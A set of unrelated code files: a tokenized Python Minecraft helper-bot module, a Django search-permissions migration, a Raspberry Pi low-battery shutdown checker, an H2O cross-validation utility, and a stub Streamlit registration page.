"Ġif", "Ġnew", "_", "loc", "Ġnot", "Ġin", "Ġplayer", "Ġand", "Ġself", "._", "get", "_", "block", "(", "new", "_", "loc", ")", "Ġnot", "Ġin", "Ġnon", "_", "blocks", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĠTrue", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠFalse", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "has", "_", "blocks", "_", "to", "_", "place", "(", "self", ",", "Ġexclude", "=", "None", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġwhether", "Ġor", "Ġnot", "Ġthe", "Ġbot", "Ġcan", "Ġplace", "Ġa", "Ġblock", "Ġfrom", "Ġthe", "ĊĠĠĠĠĠĠĠ", "Ġinventory", ".", "ĠIf", "Ġexclude", "Ġis", "ĠNone", ",", "Ġany", "Ġblock", "Ġcan", "Ġbe", "Ġplaced", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġblock", "_", "Ġin", "Ġself", "._", "inventory", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġblock", "_", "Ġ!=", "Ġexclude", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĠTrue", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠFalse", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "set", "_", "block", "(", "self", ",", "Ġpos", ",", "Ġblock", "_", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Set", "Ġa", "Ġblock", ".", "Ġblock", "_", "Ġis", "Ġthe", "Ġblock", "Ġid", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġraise", "ĠNotImplementedError", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "move", "(", "self", ",", "Ġpos", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Move", "Ġthere", "Ġonly", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "pos", "Ġ=", "Ġdeepcopy", "(", "pos", ")", "ĊĊ", "Ċ", "class", "Ġ_", "Imag", "inary", "Bot", "(_", "Generic", "Bot", "):", "ĊĠĠĠ", "Ġ\"\"\"", "A", "Ġbot", "Ġused", "Ġfor", "Ġfinding", "Ġpaths", "Ġthat", "Ġdoesn", "'t", "Ġactually", "Ġchange", "Ġblocks", "ĊĠĠĠ", "Ġin", "Ġthe", "Ġworld", ".\"\"\"", "ĊĊĠĠĠ", "Ġdef", "Ġ__", "init", "__(", "self", ",", "Ġpos", ",", "Ġinventory", "=", "None", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Create", "Ġa", "Ġnew", "Ġbot", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġ_", "Generic", "Bot", ".__", "init", "__(", "self", ",", "Ġpos", ",", "Ġinventory", ")", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "changes", "Ġ=", "Ġ{}", "Ġ", "Ġ#", "ĠChanges", "Ġto", "Ġthe", "Ġworld", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "set", "_", "block", "(", "self", ",", "Ġpos", ",", "Ġblock", "_", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Set", "Ġa", "Ġblock", ".", "Ġblock", "_", "Ġis", "Ġthe", "Ġblock", "Ġid", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "changes", "[", "deepcopy", "(", "pos", ")]", "Ġ=", "Ġblock", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "get", "_", "block", "(", "self", ",", "Ġpos", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Get", "Ġthe", "Ġblock", "Ġat", "Ġthe", "Ġposition", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġpos", "Ġin", "Ġself", "._", "changes", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", "._", "changes", "[", "pos", "]", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "Ġ_", "get", "_", "mc", "().", "getBlock", "(", "pos", ")", "ĊĊĠĠĠ", "Ġdef", "Ġget", "_", "block", "(", "self", ",", "Ġpos", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "The", "Ġpublic", "Ġversion", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", "._", "get", "_", "block", "(", "pos", ")", "ĊĊĠĠĠ", "Ġdef", "Ġ__", "hash", "__(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġthe", "Ġhash", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġhash", "(", "frozen", "set", "([", "self", "._", "pos", "]", "Ġ+", "Ġ_", "key", "_", "vals", "(", "self", "._", "inventory", ")", "Ġ+", "Ġ_", "key", "_", "vals", "(", "self", "._", "changes", ")))", "ĊĊ", "Ċ", "class", "ĠBot", "(_", "Generic", "Bot", "):", "ĊĠĠĠ", "Ġ\"\"\"", "The", "Ġreal", "Ġbot", ".", "ĊĊĠĠĠ", "ĠAll", "Ġvector", "Ġarguments", "Ġare", "ĠVec", "3", "s", ".\"\"\"", "ĊĊĠĠĠ", "Ġ_", "BOT", "_", "BLOCK", "Ġ=", "Ġblock", ".", "IRON", "_", "BLOCK", ".", "id", "ĊĊĠĠĠ", "Ġdef", "Ġ__", "init", "__(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Create", "Ġa", "Ġbot", "Ġnext", "Ġto", "Ġthe", "Ġplayer", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġpos", "Ġ=", "Ġ_", "get", "_", "mc", "().", "player", ".", "get", "Tile", "Pos", "()", "Ġ+", "ĠVec", "3", "(", "2", ",", "Ġ", "0", ",", "Ġ", "0", ")", "ĊĠĠĠĠĠĠĠ", "Ġpos", "Ġ=", "Ġ_", "Vec", "3", "(", "pos", ".", "x", ",", "Ġpos", ".", "y", ",", "Ġpos", ".", "z", ")", "ĊĠĠĠĠĠĠĠ", "Ġ_", "Generic", "Bot", ".__", "init", "__(", "self", ",", "Ġpos", ")", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "pos", "Ġ=", "Ġpos", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "move", "(", "self", "._", "pos", ")", "ĊĊĠĠĠ", "Ġ@", "staticmethod", "ĊĠĠĠ", "Ġdef", "Ġdestroy", "_", "all", "():", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Destroy", "Ġall", "Ġbots", "Ġwithin", "Ġa", "Ġsmall", "Ġdistance", "Ġ(", "in", "Ġcase", "ĠI", "Ġforget", "Ġto", "ĊĠĠĠĠĠĠĠ", "Ġdestroy", "Ġone", ").", "\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġplayer", "_", "loc", "Ġ=", "Ġ_", "player", "_", "loc", "()", "ĊĠĠĠĠĠĠĠ", "Ġmine", "c", "Ġ=", "Ġ_", "get", "_", "mc", "()", "ĊĠĠĠĠĠĠĠ", "Ġrad", "Ġ=", "Ġ", "1", "0", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġx", "Ġin", "Ġxrange", "(", "player", "_", "loc", ".", "x", "Ġ-", "Ġrad", ",", "Ġplayer", "_", "loc", ".", "x", "Ġ+", "Ġrad", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġy", "Ġin", "Ġxrange", "(", "player", "_", "loc", ".", "y", "Ġ-", "Ġrad", ",", "Ġplayer", "_", "loc", ".", "y", "Ġ+", "Ġrad", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġz", "Ġin", "Ġxrange", "(", "player", "_", "loc", ".", "z", "Ġ-", "Ġrad", ",", "Ġplayer", "_", "loc", ".", "z", "Ġ+", "Ġrad", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġmine", "c", ".", "getBlock", "(", "x", ",", "Ġy", ",", "Ġz", ")", "Ġ==", "ĠBot", "._", "BOT", "_", "BLOCK", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġmine", "c", ".", "set", "Block", "(", "x", ",", "Ġy", ",", "Ġz", ",", "Ġ_", "AIR", ")", "ĊĊĠĠĠ", "Ġdef", "Ġdestroy", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Set", "Ġitself", "Ġto", "Ġair", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "set", "_", "block", "(", "self", "._", "pos", ",", "Ġ_", "AIR", ")", "ĊĠĠĠĠĠĠĠ", "Ġself", "._", "set", "_", "block", "(", "self", "._", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", "),", "Ġ_", "AIR", ")", "ĊĊĠĠĠ", "Ġdef", "Ġfetch", "(", "self", ",", "Ġblock", "_", "name", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Mine", "Ġand", "Ġreturn", "Ġa", "Ġblock", "Ġto", "Ġthe", "Ġplayer", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġimag", "_", "bot", "Ġ=", "Ġ_", "Imag", "inary", "Bot", "(", "self", "._", "pos", ",", "Ġself", "._", "inventory", ")", "ĊĠĠĠĠĠĠĠ", "Ġblock", "_", "id", "Ġ=", "Ġgetattr", "(", "block", ",", "Ġblock", "_", "name", ").", "id", "ĊĠĠĠĠĠĠĠ", "Ġblock", "_", "loc", "Ġ=", "Ġself", "._", "get", "_", "block", "_", "loc", "(", "block", "_", "id", ")", "ĊĠĠĠĠĠĠĠ", "Ġmine", "_", "prob", "Ġ=", "Ġ_", "Mine", "Problem", "(", "imag", "_", "bot", ",", "Ġblock", "_", "loc", ",", "Ġblock", "_", "id", ")", "ĊĠĠĠĠĠĠĠ", "Ġmine", "_", "actions", "Ġ=", "Ġa", "star", "(", "mine", "_", "prob", ",", "Ġ_", "mine", "_", "he", "uristic", ")", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "take", "_", "actions", "(", "mine", "_", "actions", ",", "Ġ_", "DELAY", ")", "ĊĠĠĠĠĠĠĠ", "Ġimag", "_", "bot", "Ġ=", "Ġ_", "Imag", "inary", "Bot", "(", "self", "._", "pos", ",", "Ġself", "._", "inventory", ")", "ĊĠĠĠĠĠĠĠ", "Ġplayer", "_", "loc", "Ġ=", "Ġ_", "player", "_", "loc", "()", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "_", "prob", "Ġ=", "Ġ_", "Return", "Problem", "(", "imag", "_", "bot", ",", "Ġblock", "_", "id", ",", "Ġplayer", "_", "loc", ")", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "_", "actions", "Ġ=", "Ġa", "star", "(", "return", "_", "prob", ",", "Ġ_", "return", "_", "he", "uristic", ")", "ĊĠĠĠĠĠĠĠ", "Ġimag", "_", "bot", ".", "take", "_", "actions", "(", "return", "_", "actions", ")", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "_", "actions", ".", "append", "({\"", "func", "\":", "Ġ\"_", "place", "\",", "Ġ\"", "args", "\":", "Ġ(", "imag", "_", "bot", ".", "get", "_", "pos", "()", "Ġ+", "Ġplayer", "_", "loc", ")", "Ġ/", "Ġ", "2", ",", "Ġ\"", "kwargs", "\":", "Ġ{\"", "block", "\":", "Ġblock", "_", "id", "}})", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "take", "_", "actions", "(", "return", "_", "actions", ",", "Ġ_", "DELAY", ")", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "get", "_", "block", "_", "loc", "(", "self", ",", "Ġblock", "_", "id", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġthe", "Ġlocation", "Ġof", "Ġthe", "Ġblock", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġfind", "_", "prob", "Ġ=", "ĠFind", "Problem", "(", "self", "._", "pos", ",", "Ġblock", "_", "id", ")", "ĊĠĠĠĠĠĠĠ", "Ġdirs", "Ġ=", "Ġb", "fs", "(", "find", "_", "prob", ")", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", "._", "pos", "Ġ+", "Ġsum", "(", "dirs", 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45969b346d6d5cbdef2f5d2f74270cf12024072d
# Generated by Django 4.1.9 on 2023-06-29 16:11 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("search", "0003_auto_20230209_1441"), ] operations = [ migrations.CreateModel( name="SearchSettings", fields=[ ( "id", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ], options={ "permissions": ( ("change_boost", "Edit boost settings for search components"), ("view_explore", "View the global search explore page"), ), "managed": False, "default_permissions": (), }, ), ]
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67b967b688aeac1270eee836e0f6e6b3555b933e
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ This program is run at regular intervals to check the battery charge status of the uninterruptible power supply. In our case, it is a LiPo battery with a nominal voltage of 3.7 volts. By setting the voltage for the Raspberry PI shutdown procedure at 3.7 V,we ensure that the processor has enough time to make a clean shutdown. This program must be launched at regular intervals (5 inute in our case) by the Raspberry PI OS cron task scheduler. The crontab -e command in the home directory opens the cron file and the command line would for example be for a trigger every 5 minutes: 5 * * * * sudo /usr/bin/python3 /home/pi/dev_python/amod/pidcmes_bbu.py """ import time import datetime as dt from subprocess import call from pidcmes_lib import Pidcmes # class for 'pidcmes' procedures pidcmes = Pidcmes() # initialize pidcmese class u_bat_min = 3.7 # minumum battery voltage n_moy = 20 # averaging to reduce glitches stop_run = False # to control the execution (run/stop) u_avg = pidcmes.get_tension(n_moy) # read the value in volts if u_avg < u_bat_min: # or i > 10: print("proper shut down of the machine due to low battery") # time.sleep(5) # call("sudo shutdown -h now", shell=True) # shutdown the RASPI else: print("tout va bien dormez braves gens")
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c59707ba07c1659d94684c54cdd7bb2658cba935
from __future__ import division, print_function, absolute_import import numbers import warnings from abc import ABCMeta, abstractmethod import numpy as np from .base import check_frame from skutil.base import overrides from sklearn.externals import six from sklearn.base import _pprint from sklearn.utils.fixes import signature, bincount from sklearn.utils import check_random_state from math import ceil, floor try: from h2o import H2OEstimator except ImportError: from h2o.estimators.estimator_base import H2OEstimator try: from sklearn.model_selection import KFold SK18 = True except ImportError: from sklearn.cross_validation import KFold SK18 = False __all__ = ["check_cv", "h2o_train_test_split", "H2OKFold", "H2OShuffleSplit", "H2OStratifiedKFold", "H2OStratifiedShuffleSplit"] def _build_repr(self): # XXX This is copied from sklearn.BaseEstimator's get_params cls = self.__class__ init = getattr(cls.__init__, "deprecated_original", cls.__init__) init_signature = signature(init) if init is object.__init__: args = [] else: args = sorted([p.name for p in init_signature.parameters.values() if p.name != "self" and p.kind != p.VAR_KEYWORD]) class_name = self.__class__.__name__ params = dict() for key in args: warnings.simplefilter("always", DeprecationWarning) try: with warnings.catch_warnings(record=True) as w: value = getattr(self, key, None) if len(w) and w[0].category == DeprecationWarning: continue finally: warnings.filters.pop(0) params[key] = value return "%s(%s)" % (class_name, _pprint(params, offset=len(class_name))) def check_cv(cv=3): """Checks the ``cv`` parameter to determine whether it's a valid int or H2OBaseCrossValidator. Parameters ---------- cv : int or H2OBaseCrossValidator, optional (default=3) The number of folds or the H2OBaseCrossValidator instance. Returns ------- cv : H2OBaseCrossValidator The instance of H2OBaseCrossValidator """ if cv is None: cv = 3 if isinstance(cv, numbers.Integral): return H2OKFold(cv) if not isinstance(cv, H2OBaseCrossValidator): raise ValueError("expected int or instance of H2OBaseCrossValidator but got %s" % type(cv)) return cv def h2o_train_test_split(frame, test_size=None, train_size=None, random_state=None, stratify=None): """Splits an H2OFrame into random train and test subsets Parameters ---------- frame : H2OFrame The h2o frame to split test_size : float, int, or None (default=None) If float, should be between 0.0 and 1.0 and represent the proportion of the dataset to include in the test split. If int, represents the absolute number of test samples. If None, the value is automatically set to the complement of the train size. If train size is also None, test size is set to 0.25 train_size : float, int, or None (default=None) If float, should be between 0.0 and 1.0 and represent the proportion of the dataset to include in the train split. If int, represents the absolute number of train samples. If None, the value is automatically set to the complement of the test size. random_state : int or RandomState Pseudo-random number generator state used for random sampling. stratify : str or None (default=None) The name of the target on which to stratify the sampling Returns ------- out : tuple, shape=(2,) training_frame : H2OFrame The training fold split testing_frame : H2OFrame The testing fold split """ frame = check_frame(frame, copy=False) if test_size is None and train_size is None: test_size = 0.25 if stratify is not None: CVClass = H2OStratifiedShuffleSplit else: CVClass = H2OShuffleSplit cv = CVClass(n_splits=2, test_size=test_size, train_size=train_size, random_state=random_state) # for the h2o one, we only need iter 0 tr_te_tuples = [(tr, te) for tr, te in cv.split(frame, stratify)][0] # h2o "doesn't reorder rows" so we need to keep these sorted... train, test = sorted(list(tr_te_tuples[0])), sorted(list(tr_te_tuples[1])) out = (frame[train, :], frame[test, :]) return out # Avoid a pb with nosetests... h2o_train_test_split.__test__ = False def _val_y(y): if isinstance(y, six.string_types): return str(y) elif y is None: return y raise TypeError("y must be a string. Got %s" % y) class H2OBaseCrossValidator(six.with_metaclass(ABCMeta)): """Base class for H2O cross validation operations. All implementing subclasses should override ``get_n_splits`` and ``_iter_test_indices``. """ def __init__(self): pass def split(self, frame, y=None): """Generate indices to split data into training and test. Parameters ---------- frame : ``H2OFrame`` The h2o frame to split y : str, optional (default=None) The name of the column to stratify, if applicable. Returns ------- train : ndarray The training set indices for the split test : ndarray The testing set indices for that split """ frame = check_frame(frame, copy=False) indices = np.arange(frame.shape[0]) for test_index in self._iter_test_masks(frame, y): train_index = indices[np.logical_not(test_index)] test_index = indices[test_index] # h2o can't handle anything but lists... yield list(train_index), list(test_index) def _iter_test_masks(self, frame, y=None): """Generates boolean masks corresponding to the tests set. Parameters ---------- frame : H2OFrame The h2o frame to split y : string, optional (default=None) The column to stratify. Returns ------- test_mask : np.ndarray, shape=(n_samples,) The indices for the test split """ for test_index in self._iter_test_indices(frame, y): test_mask = np.zeros(frame.shape[0], dtype=np.bool) test_mask[test_index] = True yield test_mask def _iter_test_indices(self, frame, y=None): raise NotImplementedError("this method must be implemented by a subclass") @abstractmethod def get_n_splits(self): """Get the number of splits or folds for this instance of the cross validator. """ pass def __repr__(self): return _build_repr(self) def _validate_shuffle_split_init(test_size, train_size): """Validation helper to check the test_size and train_size at init""" if test_size is None and train_size is None: raise ValueError("test_size and train_size can not both be None") if test_size is not None: if np.asarray(test_size).dtype.kind == "f": if test_size >= 1.0: raise ValueError("test_size=%f should be smaller than 1.0 or be an integer" % test_size) elif np.asarray(test_size).dtype.kind != "i": raise ValueError("Invalid value for test_size: %r" % test_size) if train_size is not None: if np.asarray(train_size).dtype.kind == "f": if train_size >= 1.0: raise ValueError("train_size=%f should be smaller than 1.0 or be an integer" % test_size) elif np.asarray(test_size).dtype.kind == "f" and (train_size + test_size) > 1.0: raise ValueError( "The sum of test_size and train_size = %f" "should be smaller than 1.0. Reduce test_size " "and/or train_size." % (train_size + test_size) ) elif np.asarray(train_size).dtype.kind != "i": raise ValueError("Invalid value for train_size: %r" % train_size) def _validate_shuffle_split(n_samples, test_size, train_size): if test_size is not None and np.asarray(test_size).dtype.kind == "i" and test_size >= n_samples: raise ValueError("test_size=%d should be smaller than the number of samples %d" % (test_size, n_samples)) if train_size is not None and np.asarray(train_size).dtype.kind == "i" and train_size >= n_samples: raise ValueError("train_size=%d should be smaller than the number of samples %d" % (train_size, n_samples)) if np.asarray(test_size).dtype.kind == "f": n_test = ceil(test_size * n_samples) elif np.asarray(test_size).dtype.kind == "i": n_test = float(test_size) if train_size is None: n_train = n_samples - n_test elif np.asarray(train_size).dtype.kind == "f": n_train = floor(train_size * n_samples) else: n_train = float(train_size) if test_size is None: n_test = n_samples - n_train if n_train + n_test > n_samples: raise ValueError( "The sum of train_size and test_size=%d, " "should be smaller than the number of " "samples %d. Reduce test_size and/or " "train_size." % (n_train + n_test, n_samples) ) return int(n_train), int(n_test) class H2OBaseShuffleSplit(six.with_metaclass(ABCMeta)): """Base class for H2OShuffleSplit and H2OStratifiedShuffleSplit. This is used for ``h2o_train_test_split`` in strategic train/test splits of H2OFrames. Implementing subclasses should override ``_iter_indices``. Parameters ---------- n_splits : int, optional (default=2) The number of folds or splits in the split test_size : float or int, optional (default=0.1) The ratio of observations for the test fold train_size : float or int, optional (default=None) The ratio of observations for the train fold random_state : int or RandomState, optional (default=None) The random state for duplicative purposes. """ def __init__(self, n_splits=2, test_size=0.1, train_size=None, random_state=None): _validate_shuffle_split_init(test_size, train_size) self.n_splits = n_splits self.test_size = test_size self.train_size = train_size self.random_state = random_state def split(self, frame, y=None): """Split the frame. Parameters ---------- frame : H2OFrame The frame to split y : string, optional (default=None) The column to stratify. """ for train, test in self._iter_indices(frame, y): yield train, test @abstractmethod def _iter_indices(self, frame, y): """Abstract method for iterating the indices. Parameters ---------- frame : H2OFrame The frame to split y : string, optional (default=None) The column to stratify. """ pass def get_n_splits(self): """Get the number of splits or folds for this instance of the shuffle split. """ return self.n_splits def __repr__(self): return _build_repr(self) class H2OShuffleSplit(H2OBaseShuffleSplit): """Default shuffle splitter used for ``h2o_train_test_split``. This shuffle split class will not perform any stratification, and will simply shuffle indices and split into the number of specified sub-frames. """ def _iter_indices(self, frame, y=None): """Iterate the indices. Parameters ---------- frame : H2OFrame The frame to split y : string, optional (default=None) The column to stratify. Since this class does not perform stratification, ``y`` is unused. Returns ------- ind_train : np.ndarray, shape=(n_samples,) The train indices ind_test : np.ndarray, shape=(n_samples,) The test indices """ n_samples = frame.shape[0] n_train, n_test = _validate_shuffle_split(n_samples, self.test_size, self.train_size) rng = check_random_state(self.random_state) for i in range(self.n_splits): permutation = rng.permutation(n_samples) ind_test = permutation[:n_test] ind_train = permutation[n_test : (n_test + n_train)] yield ind_train, ind_test class H2OStratifiedShuffleSplit(H2OBaseShuffleSplit): """Shuffle splitter used for ``h2o_train_test_split`` when stratified option is specified. This shuffle split class will perform stratification. """ def _iter_indices(self, frame, y): """Iterate the indices with stratification. Parameters ---------- frame : H2OFrame The frame to split y : string The column to stratify. Returns ------- train : np.ndarray, shape=(n_samples,) The train indices test : np.ndarray, shape=(n_samples,) The test indices """ n_samples = frame.shape[0] n_train, n_test = _validate_shuffle_split(n_samples, self.test_size, self.train_size) # need to validate y... y = _val_y(y) target = np.asarray(frame[y].as_data_frame(use_pandas=True)[y].tolist()) classes, y_indices = np.unique(target, return_inverse=True) n_classes = classes.shape[0] class_counts = bincount(y_indices) if np.min(class_counts) < 2: raise ValueError( "The least populated class in y has only 1 " "member, which is too few. The minimum number of labels " "for any class cannot be less than 2." ) if n_train < n_classes: raise ValueError( "The train_size=%d should be greater than or equal to the number of classes=%d" % (n_train, n_classes) ) if n_test < n_classes: raise ValueError( "The test_size=%d should be greater than or equal to the number of classes=%d" % (n_test, n_classes) ) rng = check_random_state(self.random_state) p_i = class_counts / float(n_samples) n_i = np.round(n_train * p_i).astype(int) t_i = np.minimum(class_counts - n_i, np.round(n_test * p_i).astype(int)) for _ in range(self.n_splits): train = [] test = [] for i, class_i in enumerate(classes): permutation = rng.permutation(class_counts[i]) perm_indices_class_i = np.where((target == class_i))[0][permutation] train.extend(perm_indices_class_i[: n_i[i]]) test.extend(perm_indices_class_i[n_i[i] : n_i[i] + t_i[i]]) # Might end up here with less samples in train and test than we asked # for, due to rounding errors. if len(train) + len(test) < n_train + n_test: missing_indices = np.where(bincount(train + test, minlength=len(target)) == 0)[0] missing_indices = rng.permutation(missing_indices) n_missing_train = n_train - len(train) n_missing_test = n_test - len(test) if n_missing_train > 0: train.extend(missing_indices[:n_missing_train]) if n_missing_test > 0: test.extend(missing_indices[-n_missing_test:]) train = rng.permutation(train) test = rng.permutation(test) yield train, test def split(self, frame, y): """Split the frame with stratification. Parameters ---------- frame : H2OFrame The frame to split y : string The column to stratify. """ return super(H2OStratifiedShuffleSplit, self).split(frame, y) class _H2OBaseKFold(six.with_metaclass(ABCMeta, H2OBaseCrossValidator)): """Base class for KFold and Stratified KFold. Parameters ---------- n_folds : int The number of splits shuffle : bool Whether to shuffle indices random_state : int or RandomState The random state for the split """ @abstractmethod def __init__(self, n_folds, shuffle, random_state): if not isinstance(n_folds, numbers.Integral): raise ValueError("n_folds must be of Integral type. %s of type %s was passed" % (n_folds, type(n_folds))) n_folds = int(n_folds) if n_folds <= 1: raise ValueError("k-fold cross-validation requires at least one train/test split by setting n_folds=2 or more") if shuffle not in [True, False]: raise TypeError("shuffle must be True or False. Got %s (type=%s)" % (str(shuffle), type(shuffle))) self.n_folds = n_folds self.shuffle = shuffle self.random_state = random_state @overrides(H2OBaseCrossValidator) def split(self, frame, y=None): """Split the frame. Parameters ---------- frame : H2OFrame The frame to split y : string, optional (default=None) The column to stratify. """ frame = check_frame(frame, copy=False) n_obs = frame.shape[0] if self.n_folds > n_obs: raise ValueError("Cannot have n_folds greater than n_obs") for train, test in super(_H2OBaseKFold, self).split(frame, y): yield train, test @overrides(H2OBaseCrossValidator) def get_n_splits(self): """Get the number of splits or folds. Returns ------- n_folds : int The number of folds """ return self.n_folds class H2OKFold(_H2OBaseKFold): """K-folds cross-validator for an H2OFrame. Parameters ---------- n_folds : int, optional (default=3) The number of splits shuffle : bool, optional (default=False) Whether to shuffle indices random_state : int or RandomState, optional (default=None) The random state for the split """ def __init__(self, n_folds=3, shuffle=False, random_state=None): super(H2OKFold, self).__init__(n_folds, shuffle, random_state) @overrides(_H2OBaseKFold) def _iter_test_indices(self, frame, y=None): n_obs = frame.shape[0] indices = np.arange(n_obs) if self.shuffle: check_random_state(self.random_state).shuffle(indices) n_folds = self.n_folds fold_sizes = (n_obs // n_folds) * np.ones(n_folds, dtype=np.int) fold_sizes[: n_obs % n_folds] += 1 current = 0 for fold_size in fold_sizes: start, stop = current, current + fold_size yield indices[start:stop] current = stop class H2OStratifiedKFold(_H2OBaseKFold): """K-folds cross-validator for an H2OFrame with stratified splits. Parameters ---------- n_folds : int, optional (default=3) The number of splits shuffle : bool, optional (default=False) Whether to shuffle indices random_state : int or RandomState, optional (default=None) The random state for the split """ def __init__(self, n_folds=3, shuffle=False, random_state=None): super(H2OStratifiedKFold, self).__init__(n_folds, shuffle, random_state) def split(self, frame, y): """Split the frame with stratification. Parameters ---------- frame : H2OFrame The frame to split y : string The column to stratify. """ return super(H2OStratifiedKFold, self).split(frame, y) def _iter_test_masks(self, frame, y): test_folds = self._make_test_folds(frame, y) for i in range(self.n_folds): yield test_folds == i def _make_test_folds(self, frame, y): if self.shuffle: rng = check_random_state(self.random_state) else: rng = self.random_state # validate that it's a string y = _val_y(y) # gets a string back or None if y is None: raise ValueError("H2OStratifiedKFold requires a target name (got None)") target = frame[y].as_data_frame(use_pandas=True)[y].values n_samples = target.shape[0] unique_y, y_inversed = np.unique(target, return_inverse=True) y_counts = bincount(y_inversed) min_labels = np.min(y_counts) if np.all(self.n_folds > y_counts): raise ValueError(("All the n_labels for individual classes are less than %d folds." % self.n_folds), Warning) if self.n_folds > min_labels: warnings.warn( ( "The least populated class in y has only %d" " members, which is too few. The minimum" " number of labels for any class cannot" " be less than n_folds=%d." % (min_labels, self.n_folds) ), Warning, ) # NOTE FROM SKLEARN: # pre-assign each sample to a test fold index using individual KFold # splitting strategies for each class so as to respect the balance of # classes # NOTE: Passing the data corresponding to ith class say X[y==class_i] # will break when the data is not 100% stratifiable for all classes. # So we pass np.zeroes(max(c, n_folds)) as data to the KFold. # Remember, however that we might be using the old-fold KFold which doesn't # have a split method... if SK18: per_cls_cvs = [ KFold( self.n_folds, # using sklearn's KFold here shuffle=self.shuffle, random_state=rng, ).split(np.zeros(max(count, self.n_folds))) for count in y_counts ] else: per_cls_cvs = [ KFold( max(count, self.n_folds), # using sklearn's KFold here self.n_folds, shuffle=self.shuffle, random_state=rng, ) for count in y_counts ] test_folds = np.zeros(n_samples, dtype=np.int) for test_fold_indices, per_cls_splits in enumerate(zip(*per_cls_cvs)): for cls, (_, test_split) in zip(unique_y, per_cls_splits): cls_test_folds = test_folds[target == cls] # the test split can be too big because we used # KFold(...).split(X[:max(c, n_folds)]) when data is not 100% # stratifiable for all the classes # (we use a warning instead of raising an exception) # If this is the case, let's trim it: test_split = test_split[test_split < len(cls_test_folds)] cls_test_folds[test_split] = test_fold_indices test_folds[target == cls] = cls_test_folds return test_folds
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41cfd558824b6561114a48a694b1e6e6a7cb8c05
import streamlit as st from streamlit.components.v1 import components from streamlit.report_thread import get_report_ctx from util.session import * from multipage import MultiPage from pages import register def app(page): if not login_status(): title_container = st.empty() remail_input_container = st.empty() rpw_input_container = st.empty() rregister_button_container = st.empty() # title_container.write("Register") email = remail_input_container.text_input("Email ") password = rpw_input_container.text_input("Password ", type="password") rregister_button = rregister_button_container.button("Register") if rregister_button: title_container.empty() remail_input_container.empty() rpw_input_container.empty() rregister_button_container.empty() login() page.app() st.experimental_rerun()
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f2bb44600f011a205c71985ad94c18f7e058634f
